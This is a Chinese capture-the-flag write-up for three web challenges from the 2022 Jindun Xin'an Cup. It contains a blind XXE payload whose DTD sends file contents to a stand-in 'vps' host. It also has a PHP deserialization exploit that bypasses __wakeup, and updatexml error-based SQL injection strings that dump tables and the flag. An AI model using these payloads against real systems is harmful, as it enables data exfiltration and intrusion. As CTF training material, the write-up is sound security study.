2022-金盾信安杯

news2024/11/18 16:50:58

web

有来无回

考察xxe盲注
参考博客：https://blog.csdn.net/m0_49623330/article/details/113641498

<!ENTITY % a SYSTEM "http://vps/test.dtd">

%a;
] >
在自己服务器上编写dtd文件

<!ENTITY % dtd "<!ENTITY % hack SYSTEM 'http://vps:1234/%file;'> ">

%dtd;
%hack;

发包监听
在这里插入图片描述

Base64在线解密
flag{tqxh8rvijg4jibuxuzfaarvq8esu24uz}

反败为胜

查看源代码：rc4加密，密码0626，
在这里插入图片描述

在线网站解码得到源码，

<?php echo("ser.php: You find me!"); class ouo{ private $ser_code = "ser"; function __destruct(){ if(!empty($this->ser_code)) { if($this->ser_code == "FLAG") echo ("{flag}"); else die('Try Again!'); }} function __wakeup(){ $this->ser_code=null; } } $ser_code = $_COOKIE['SER']; unserialize($ser_code); ?>

考察反序列化，编写exp：

<?php class ouo{ private $ser_code = "FLAG"; } $hack = new ouo(); $a = serialize($hack); $b = str_replace(':1:', ':2:',$a); echo urlencode($b); ?>

运行得到

O%3A3%3A%22ouo%22%3A2%3A%7Bs%3A13%3A%22%00ouo%00ser_code%22%3Bs%3A4%3A%22FLAG%22%3B%7D

访问ser.php，抓包
在cookie上传SER, 发包得到flag。
在这里插入图片描述

SQL

参考梦想CMS注入:http://www.hackdig.com/07/hack-724362.htm

查询表名
’ or updatexml(0,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1) #

%2527%2520or%2520updatexml(0%252Cconcat(0x7e%252C(select(group_concat(table_name))from(information_schema.tables)where(table_schema%253Ddatabase())))%252C1)%2520%2523

is_this_flag
查询字段名
’ or updatexml(0,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=0x69735f746869735f666c6167))),1) #
%2527%2520or%2520updatexml(0%252Cconcat(0x7e%252C(select(group_concat(column_name))from(information_schema.columns)where(table_name%253D0x69735f746869735f666c6167)))%252C1)%2520%2523

flag

查询字段内容
’ or updatexml(0,concat(0x7e,(select(group_concat(flag))from(is_this_flag)where(1=1))),1) #

%2527%2520or%2520updatexml(0%252Cconcat(0x7e%252C(select(group_concat(flag))from(is_this_flag)where(1%253D1)))%252C1)%2520%2523

flag{e4cf1b90-75d1-11ed-9b3b-44

’ or updatexml(0,concat(0x7e,(select(reverse(flag))from(is_this_flag)where(1=1))),1) #

%2527%2520or%2520updatexml(0%252Cconcat(0x7e%252C(select(reverse(flag))from(is_this_flag)where(1%253D1)))%252C1)%2520%2523

}73257a82fa44-b3b9-de11-1d57-09

得到完整flag
flag{e4cf1b90-75d1-11ed-9b3b-44af28a75237}